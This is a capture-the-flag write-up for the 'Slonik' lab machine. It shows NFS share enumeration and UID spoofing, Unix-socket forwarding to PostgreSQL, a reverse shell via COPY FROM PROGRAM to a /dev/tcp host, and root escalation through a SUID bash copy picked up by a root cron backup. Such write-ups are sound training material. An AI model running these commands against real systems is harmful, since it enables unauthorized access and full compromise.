Slonik is a linux box created around reusing a socket and the ability to port forward them. It starts with a box running NFS, and using showmount our able to see two. There is /var/backups, and /home. Home was interesting, with there being a .bash_history and a .psql_history to see that we have commands previously ran. Using rpcinfo you can see we have sockets being used. From the information we have we can create a directory /tmp/sock and us it and the ending pid in the .bash_history. Using ssh we can connect using the socket created by postgres. Once connected we can get a reverse shell using a POC from hacktricks. Once getting a shell, we run pspy64 to see a script running from cron /usr/bin/backup. This script will back up everything postgres HOME directory. By copying /usr/bin/bash to our HOME directory in main. Then giving it the sticky bit and making it executable we can get root.

Initial Nmap

1
2
3
4
PORT     STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
111/tcp open rpcbind syn-ack ttl 63
2049/tcp open nfs syn-ack ttl 63

NFS

Showing the mounts available on the machine.

1
2
3
4
$ showmount -e 10.10.104.168
Export list for 10.10.104.168:
/var/backups *
/home *

Mounting the file share.

1
2
3
4
5
6
7
$ mkdir nfs
$ mount -t nfs 10.10.104.168:/home ./nfs -o nolock
$ ls -lsa
total 12
4 drwxr-xr-x 3 root root 4096 Oct 24 2023 .
4 drwxr-xr-x 5 root root 4096 Dec 4 02:46 ..
4 drwxr-x--- 5 1337 1337 4096 Oct 24 2023 service

Seeing the UUID being 1337 we can create a user with the specific UUID:

1
2
3
4
5
$ useradd -u 1337 -m -s /bin/bash slonik
$ su slonik
*To Remove*
$ userdel -f slonik
$ rm -rf /home/slonik

Then we can look into the directory and see .bash_history and .psql_history(PostgreSQL).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ su slonik

┌──(slonik㉿megabyte)-[/root/Documents/vulnlab/machines/slonik/nfs/service]
└─$ ls -lsa
total 40
4 drwxr-x--- 5 slonik slonik 4096 Oct 24 2023 .
4 drwxr-xr-x 3 root root 4096 Oct 24 2023 ..
4 -rw-rw-r-- 1 slonik slonik 90 Oct 24 2023 .bash_history
4 -rw-r--r-- 1 slonik slonik 220 Oct 24 2023 .bash_logout
4 -rw-r--r-- 1 slonik slonik 3771 Oct 24 2023 .bashrc
4 drwx------ 2 slonik slonik 4096 Oct 24 2023 .cache
4 drwxrwxr-x 3 slonik slonik 4096 Oct 24 2023 .local
4 -rw-r--r-- 1 slonik slonik 807 Oct 24 2023 .profile
4 -rw------- 1 slonik slonik 326 Oct 24 2023 .psql_history
4 drwxrwxr-x 2 slonik slonik 4096 Oct 24 2023 .ssh

Reading these shows the user and the socket being used.

1
2
3
4
5
cat .bash_history
ls -lah /var/run/postgresql/
file /var/run/postgresql/.s.PGSQL.5432
psql -U postgres
exit

This MD5 hash cracks to service.

1
2
3
4
5
6
7
$ cat .psql_history
CREATE DATABASE service;
\c service;
CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL, description TEXT);
INSERT INTO users (username, password, description)VALUES ('service', 'aaabf0d39951f3e6c3e8a7911df5000'WHERE', network access account');
select * from users;
\q

We run rpcinfo and check sockets being ran.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
$ rpcinfo 10.10.104.168
program version netid address service owner
100000 4 tcp6 ::.0.111 portmapper superuser
100000 3 tcp6 ::.0.111 portmapper superuser
100000 4 udp6 ::.0.111 portmapper superuser
100000 3 udp6 ::.0.111 portmapper superuser
100000 4 tcp 0.0.0.0.0.111 portmapper superuser
100000 3 tcp 0.0.0.0.0.111 portmapper superuser
100000 2 tcp 0.0.0.0.0.111 portmapper superuser
100000 4 udp 0.0.0.0.0.111 portmapper superuser
100000 3 udp 0.0.0.0.0.111 portmapper superuser
100000 2 udp 0.0.0.0.0.111 portmapper superuser
100000 4 local /run/rpcbind.sock portmapper superuser
100000 3 local /run/rpcbind.sock portmapper superuser
100005 1 udp 0.0.0.0.183.239 mountd superuser
100005 1 tcp 0.0.0.0.236.31 mountd superuser
100005 1 udp6 ::.173.122 mountd superuser
100005 1 tcp6 ::.235.129 mountd superuser
100005 2 udp 0.0.0.0.157.229 mountd superuser
100005 2 tcp 0.0.0.0.219.35 mountd superuser
100005 2 udp6 ::.197.65 mountd superuser
100005 2 tcp6 ::.141.93 mountd superuser
100005 3 udp 0.0.0.0.169.233 mountd superuser
100005 3 tcp 0.0.0.0.190.141 mountd superuser
100024 1 udp 0.0.0.0.205.52 status 117
100024 1 tcp 0.0.0.0.209.81 status 117
100005 3 udp6 ::.234.209 mountd superuser
100005 3 tcp6 ::.184.3 mountd superuser
100024 1 udp6 ::.206.243 status 117
100024 1 tcp6 ::.148.215 status 117
100003 3 tcp 0.0.0.0.8.1 nfs superuser
100003 4 tcp 0.0.0.0.8.1 nfs superuser
100227 3 tcp 0.0.0.0.8.1 nfs_acl superuser
100003 3 tcp6 ::.8.1 nfs superuser
100003 4 tcp6 ::.8.1 nfs superuser
100227 3 tcp6 ::.8.1 nfs_acl superuser
100021 1 udp 0.0.0.0.224.12 nlockmgr superuser
100021 3 udp 0.0.0.0.224.12 nlockmgr superuser
100021 4 udp 0.0.0.0.224.12 nlockmgr superuser
100021 1 tcp 0.0.0.0.145.209 nlockmgr superuser
100021 3 tcp 0.0.0.0.145.209 nlockmgr superuser
100021 4 tcp 0.0.0.0.145.209 nlockmgr superuser
100021 1 udp6 ::.178.32 nlockmgr superuser
100021 3 udp6 ::.178.32 nlockmgr superuser
100021 4 udp6 ::.178.32 nlockmgr superuser
100021 1 tcp6 ::.154.187 nlockmgr superuser
100021 3 tcp6 ::.154.187 nlockmgr superuser
100021 4 tcp6 ::.154.187 nlockmgr superuser

Using the information we’ve gathered:

  • file /var/run/postgresql/.s.PGSQL.5432
  • username: service | password:

We can create a temp socket on our /tmp directory and connect with the PGSQL id.

1
2
$ mkdir /tmp/sock
$ ssh -L /tmp/sock/.s.PGSQL.5432:/var/run/postgresql/.s.PGSQL.5432 service@10.10.104.168 -N -T

Shell as postgres

Once we have our forward setup we can access psql on the box. Then we can get our reverse shell.

1
2
3
4
5
6
7
8
9
$ psql -h /tmp/sock/ -U postgres
psql (17.0 (Debian 17.0-1+b2), server 14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
Type "help" for help.

postgres=# DROP TABLE IF EXISTS cmd_exec;
DROP TABLE
postgres=# CREATE TABLE cmd_exec(cmd_output text);
CREATE TABLE
postgres=# COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.8.4.29/80 0>&1"';

If we look on the box using pspy64 we will see a process running every 1min. This file being /usr/bin/backup and if we read the file we can grasp what it’s doing.

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash

date=$(/usr/bin/date +"%FT%H%M")
/usr/bin/rm -rf /opt/backups/current/*
/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/

count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)
if [ "$count" -gt 10 ]; then
/usr/bin/rm -rf /var/backups/*
fi

PrivEsc

We know this file is using pg_basebackup, which backs up the postgres HOME directory. Then this gets backed up to /opt/backups/current/. This running as root, we can copy bash to our current folder /var/lib/postgresql/14/main, then set the SUID bit as well as making it executable.

1
2
3
postgres@slonik:/var/lib/postgresql/14/main$ cp /usr/bin/bash bash
postgres@slonik:/var/lib/postgresql/14/main$ chmod u+s bash
postgres@slonik:/var/lib/postgresql/14/main$ chmod +x bash
1
2
3
postgres@slonik:/opt/backups/current$./bash -p
bash# id
uid=0(root) gid=0(root) groups=0(root)